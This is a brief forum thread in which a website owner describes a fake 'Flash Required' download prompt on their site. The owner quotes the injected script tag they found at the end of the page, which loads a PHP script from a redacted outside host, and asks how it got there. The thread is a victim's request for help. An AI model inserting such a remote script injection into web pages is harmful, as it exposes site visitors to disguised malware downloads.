One of my commercial sites has recently displayed a window saying 'Flash Required to view this site' and a window has popped up prompting visitors to download Flash from a mirror site.
The site contains no Flash elements.
The index page contains no malicious code as far as I can tell and uploading the index page again has stopped the Flash prompt from appearing.
Can anyone suggest what may be going on there?

Sounds like there may have something in the page or maybe a linked script.

RE: Download Flash Now

Thanks Chris
On closer inspection, it was a linked script, at the end of the page, taking the following form.


<!--ba8edb--><script src="http://www.###.com/######/#########.php?id=51047608" type="text/javascript"></script><!--/ba8edb--> 

The code is not in the originally uploaded page so how has it been added?
